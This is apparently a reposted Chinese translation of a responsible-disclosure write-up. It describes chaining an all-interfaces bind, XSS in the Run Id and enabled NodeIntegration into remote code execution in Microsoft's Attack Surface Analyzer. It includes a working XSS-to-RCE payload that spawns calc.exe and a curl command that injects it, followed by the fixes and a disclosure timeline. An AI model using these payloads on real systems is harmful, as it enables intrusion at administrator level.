杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

栏目: 服务器 · 发布时间: 5年前

内容简介:概述本文主要介绍我如何发现三个漏洞,并将它们共同利用,从而在微软的攻击分析器(Attack Surface Analyzer)GUI版本中实现远程代码执行(RCE)的过程。微软的攻击分析器使用Electron.Net将内部Kestrel Web服务器绑定到0.0.0.0。如果允许绕过Windows操作系统的防火墙,或者在没有防火墙的Windows操作系统上,那么远程攻击者就可以连接到该操作系统并访问应用程序。Web应用程序容易受到跨站脚本(XSS)的攻击。远程攻击者可以提交一个具有嵌入的JavaScript

概述

本文主要介绍我如何发现三个漏洞,并将它们共同利用,从而在微软的攻击分析器(Attack Surface Analyzer)GUI版本中实现远程代码执行(RCE)的过程。

微软的攻击分析器使用Electron.Net将内部Kestrel Web服务器绑定到0.0.0.0。如果允许绕过Windows操作系统的防火墙,或者在没有防火墙的Windows操作系统上,那么远程攻击者就可以连接到该操作系统并访问应用程序。Web应用程序容易受到跨站脚本(XSS)的攻击。远程攻击者可以提交一个具有嵌入的JavaScript的runID,并由受害者使用攻击分析器Electron应用程序执行。

Electron.NET没有将NodeIntegration标志设置为False,这将允许JavaScript Payload在受害者的计算机上派生进程。

背景

大约在一个月之前,有人发布了一个微软新版本 工具 的链接。

我的老板Matt表示:

这是与John Lambert在休假期间共同写下的第一个版本。

备注:在这里,可以看到他们关于该工具的对话,以及演示文稿的内容:

https://twitter.com/JohnLaTwC/status/1141765341061627904

需要说明的是,我之前从未见过这个工具,但是我使用了一个基本上完成相同工作的内部工具。

什么是攻击分析器(ASA)?

根据微软官方给出的文档:

攻击分析器(Attack Surface Analyzer)会在安装其他软件产品之前和之后,获取系统状态的快照,并展示系统攻击面许多关键元素的更改情况。

我们在安装应用程序或服务的之前和之后运行攻击分析器,随后,可以比较安装前后的运行结果,从而明确应用程序在计算机上安装的内容。

攻击分析器(ASA)通常以root或admin身份运行,因为应用程序需要尽可能多的访问权限,以监视并记录对计算机的更改。

基于Electron实现

该应用程序的最新版本基于Electron。Electron是一个将Web应用程序封装为桌面应用程序的框架。我们可以将其视为Chromium实例,打开在本地运行的Web应用程序。要了解有关Electron的更多信息,可以挑选众多教程中的一个进行阅读。

Electron应用程序非常流行。这篇文章是我在VS Code中撰写的,而这正是另外一个Electron应用程序。

攻击分析器使用Electron.NET,这是一个带有嵌入式ASP.NET核心应用程序的“普通”Electron应用程序包装器。我对这两种框架的内部工作原理都不是很熟悉,但看起来,其运行的是本地Kestrel Web服务器,然后通过Electron打开一个ASP.NET Web应用程序。

运行攻击分析器

我下载了攻击分析器(ASA)2.0.143版本,并在具有流行版本IE浏览器的Windows虚拟机中启动。攻击分析器应该以管理员身份运行,以便最大程度地监控和分析操作系统和应用程序。

在管理员命令提示符中运行攻击分析器之后,我看到出现了Windows防火墙警告。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

这非常奇怪。为什么本地Electron应用需要打开防火墙端口?根据命令提示符,我找到了罪魁祸首。

C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141>
 Electron Socket IO Port: 8000
Electron Socket started on port 8000 at 127.0.0.1
ASP.NET Core Port: 8001
stdout: Use Electron Port: 8000
 
stdout: Hosting environment: Production
Content root path: C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141\resources\app\bin\
Now listening on: http://0.0.0.0:8001
Application started. Press Ctrl+C to shut down.

Kestrel Web服务器正在侦听8001端口上的所有接口。这个端口不是静态的,我们可以在应用程序的源代码中看到它从8000端口开始,并使用前两个可用的端口。第一个将由Electron使用,第二个由Kestrel Web服务器使用。在最典型的情况下,这两个端口是8000和8001。

Electron.NET/ElectronNET.Host/main.js#L141:

function startAspCoreBackend(electronPort) {
 
// hostname needs to be localhost, otherwise Windows Firewall will be triggered.
portscanner.findAPortNotInUse(8000, 65535, 'localhost', function (error, electronWebPort) {
    console.log('ASP.NET Core Port: ' + electronWebPort);
    loadURL = `http://localhost:${electronWebPort}`;
    const parameters = [`/electronPort=${electronPort}`, `/electronWebPort=${electronWebPort}`];
    let binaryFile = manifestJsonFile.executable;
 
    const os = require('os');
    if (os.platform() === 'win32') {
        binaryFile = binaryFile + '.exe';
    }
 
    let binFilePath = path.join(currentBinPath, binaryFile);
    var options = { cwd: currentBinPath };
    // Run the binary with params and options.
    apiProcess = process(binFilePath, parameters, options);
 
    apiProcess.stdout.on('data', (data) => {
        console.log(`stdout: ${data.toString()}`);
    });
});
}

这些端口将作为命令行参数传递给二进制文件。二进制文件位于名为executable的密钥中,该密钥位于AsaGui-windows-2.0.141/resources/app/bin/electron.manifest.json:

{
  "executable": "AttackSurfaceAnalyzer-GUI"
}

使用procmon(过滤器的进程名称设定为“AttackSurfaceAnalyzer-GUI”,或使用“工具 – 进程树”),我们可以看到动作中的参数。

AttackSurfaceAnalyzer-GUI.exe /electronPort=8000 /electronWebPort=8001

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

我们可以手动跳转到localhost:8001,在浏览器中查看应用程序,并与之进行交互。

漏洞1:监听所有接口

Kestrel Web服务器将监听所有接口。如果它获得了打开端口的权限,或者实际上不存在防火墙(在Windows上已经禁用防火墙,或者在没有打开防火墙的情况下运行系统),那么任何人都可以从外部连接它。

我在虚拟机和主机之间创建了一个仅限主机连接的网络接口。在主机浏览器访问192.168.56.101:8001的虚拟机IP之后,显示出如下错误提示:

HTTP错误400:请求的主机名无效。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

在Burp Suite中,也出现相同的错误信息:

HTTP/1.1 400 Bad Request
Connection: close
Date: Tue, 21 May 2019 20:14:36 GMT
Content-Type: text/html
Server: Kestrel
Content-Length: 334
 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></ HEAD >
<BODY><h2>Bad Request - Invalid Hostname</h2>
<hr><p>HTTP Error 400. The request hostname is invalid.</p>
</BODY></HTML>

需要注意其中的Server: Kestrel响应头部,这并不算是真正的秘密信息。

Kerstel的主机过滤

Kestrel又一个主机过滤中间件。关于该中间件,具体说明可以参考:

ASP.NET内核中的Kestrel Web服务器实现 – 主机过滤

它通过Host头部过滤传入的请求。我们可以在Burp Suite中使用简单的Proxy(代理) > Options(选项) > Match and Replace(匹配和替换)规则将我们请求的主机头部从192.168.56.101:8001替换为localhost:8001并远程访问Web应用程序。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

通过AllowedHosts在AsaGui-windows-2.0.141/resources/app/bin/appsettings.json中启用此设置:

{
  "Logging": {
    "LogLevel": {
      "Default": "Warning"
    }
  },
  "AllowedHosts": "localhost",
  "ApplicationInsights": {
    "InstrumentationKey": "79fc14e7-936c-4dcf-ba66-9a4da6e341ef"
  }
}

漏洞2:跨站脚本攻击(XSS)

该应用程序并没有很多注入点,因为用户的输入非常有限。我们可以对其进行扫描,并分析扫描结果。我们可以在特定路径中导出结果并创建报告。

Run Id几乎是可以接收用户输入的唯一位置。我们可以尝试一个基本的注入脚本,并提交一个来运行。提交运行时,可以选择一些简单的功能,例如Certificates(证书),以便快速运行。

注意:Run Ids存储在 SQLite 数据库中,每个应用程序必须是唯一的。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

XSS根本原因分析

现在,提交我们之前运行的请求。

http://192.168.56.101:8001/Home/StartCollection?Id=<script>alert(1)</script>&
File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true

随后,应用程序调用GetCollectors以获取有关当前运行和显示进程的信息。

http://192.168.56.101:8001/Home/GetCollectors

对应用程序的响应是一个包含JSON对象的字符串。我们测试运行的优化后版本是:

{
    "RunId": "<script>alert(1)</script>",
    "Runs": {
        "CertificateCollector": 3
    }
}

RunId的值将直接注入到网页中。其根本原因是在js/Collect.js:174中:

function GetCollectors() {
    $.getJSON('GetCollectors', function (result) {
        var data = JSON.parse(result);
        var rundata = data.Runs;
        var keepChecking = false;
        var anyCollectors = false;
        var icon, midword;
        $('#ScanStatus').empty();
 
        if (Object.keys(rundata).length > 0) {
            // INJECTION
            $('#ScanStatus').append($('<div/>', { html: l("%StatusReportFor") + data.RunId + ".</i>" }));
        }
 
        // Removed
    });
}

data.RunId没有验证输入,并且也没有对输出进行编码。值得关注的是,ID看起来在Result选项卡中是以编码后的形式进行输出。我并不是Lewis Ardern(一位非常擅长JavaScript的研究人员),因此这个简单的Payload可以使用让我非常开心。

虚拟机中来自远程Payload的XSS

我们的反射性XSS几乎没有什么实际用途。但仔细一想,似乎并不是完全没有价值。如果攻击者可以让潜在受害者用户单击指向localhost:8001的链接并提交Payload,那么就可以在虚拟机内部的攻击分析器或浏览器中实现XSS。但实际上,并不是那么好用。

但是,XSS在运行攻击分析器Electron应用程序的虚拟机中持续存在。如果没有提交新的运行,可以在虚拟机的攻击分析器Electron应用程序中导航到“Scan”(扫描)选项卡,或者再次单击它,就可以看到警告内容。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

当我们导航至“Scan”选项卡时,应用程序将检索最新提交的运行信息,也就是我们从主机虚拟机提交的信息,并执行注入的Payload。这意味着,攻击者可以通过8001端口连接到应用程序,提交XSS,然后当我们在本地使用时,就会在攻击分析器中执行远程提交的命令。

漏洞3:通过NodeIntegration将XSS转换为RCE

提到Electron,我立刻就联想到了远程代码执行(RCE)。有很多关于如何在Electron中将跨站脚本攻击(XSS)转换为远程代码执行(RCE)的文章。其中,对于Electron.NET来说,当NodeIntegration启用时,就很容易实现远程代码执行。

WebPreferences.cs:

/// <summary>
/// Whether node integration is enabled. Default is true.
/// </summary>
[DefaultValue(true)]
public bool NodeIntegration { get; set; } = true;

更多信息请参考:

Electron安全 – 不要为远程内容启用Node.js集成

这意味着,我们可以利用跨站脚本攻击,在运行攻击分析器的虚拟机中派生进程。需要注意的是,存在NodeIntegration绕过,因此如果只是禁用它可能还不足够。

远程代码执行Payload

下面是Electron典型的将XSS转换到RCE Payload的方式。我们在Google上搜到了一段代码,并直接使用。

var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'calc.exe',args:[],cwd:null,windowsVerbatimArguments:false,
    detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},
{type:'ignore'}]});

使用JavaScript eval String.fromCharCode编码器将其转换为以下内容。然后从主机的浏览器中提交带有Payload的新运行作为Run Id。需要注意的是,我添加了一个伪造的id元素,以使每个Payload唯一。

<img id="5" src=x onerror=eval(String.fromCharCode(118,97,114,32,80,114,111,99,
101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,
40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,
115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,
99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,
102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,
101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,
32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,
121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,
101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,
115,112,97,119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,
44,97,114,103,115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,
111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,
102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,
101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,
123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,
58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,
111,114,101,39,125,93,125,41,59))>

我们也可以通过这个curl命令,在本地提交Payload:

curl -vvv -ik -H "Host:localhost:8001" "http://localhost:8001/Home/StartCollection?
Id=<img%20id=%225%22%20src=x%20onerror=eval(String.fromCharCode(118,97,114,32,80,
114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,
110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,
101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,
99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,
117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,
118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,
110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,
105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,
39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,
119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,44,97,114,103,
115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,
101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,
101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,
105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,
58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,
114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,
41,59))>&File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true"

在虚拟机中,切换回“Scan”选项卡,或者单击以重新加载,我们就可以看到弹出的计算器。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

顺便说一下,procmon中运行calc的命令行看起来像是一个颜文字。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

从主机注入Payload:

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

在本地注入Payload:

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

攻击方式优缺点

1、攻击分析器通常以Admin身份运行,这使得攻击分析器可以更好地了解操作系统,并为我们提供更好的结果。这意味着,我们的远程代码执行也是以管理员的身份来执行命令。

2、最常见的端口是8000和8001。除非用户在这些端口上运行其他业务,否则攻击者很容易发现运行易受攻击版本攻击分析器的计算机。

3、攻击分析器通常会在单次使用的虚拟机上运行,我们并不会在prod虚拟机上留下应用程序的指纹。但是,这些虚拟机仍然与某些位置相连。

修复方案

1、不要将Web浏览器绑定到所有接口。

2、在进程页面上输出编码后的Run Ids。

3、在Electron.NET上启用NodeIntegration和其他的Electron防御机制,详细方法请查阅 “安全性、本地功能和用户责任”

上述问题已经在2019年5月22日提交至微软安全响应中心。

漏洞修复

1、NodeIntegration已禁用,并且ContextIsolation已启用: #218

2、不监听所有接口 – 位于Gui/Properties/launchSettings.json中: #220

3、对URI组件中的runId进行编码 – 位于Gui/wwwroot/js/Collect.js: #220

时间线

2019年5月22日  报告漏洞

2019年5月22日  获得微软致谢

2019年5月28日  微软安全响应中心要求具体解释漏洞情况

2019年6月6日  微软安全响应中心确认漏洞修复方式可行性

2019年6月14日  确认修复

2019年6月18日  公开披露


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Go语言实战

Go语言实战

威廉·肯尼迪 (William Kennedy)、布赖恩·克特森 (Brian Ketelsen)、埃里克·圣马丁 (Erik St.Martin) / 李兆海 / 人民邮电出版社 / 2017-3-1 / CNY 59.00

Go语言结合了底层系统语言的能力以及现代语言的高级特性,旨在降低构建简单、可靠、高效软件的门槛。本书向读者提供一个专注、全面且符合语言习惯的视角。Go语言实战同时关注语言的规范和实现,涉及的内容包括语法、类型系统、并发、管道、测试,以及其他一些主题。一起来看看 《Go语言实战》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

SHA 加密
SHA 加密

SHA 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器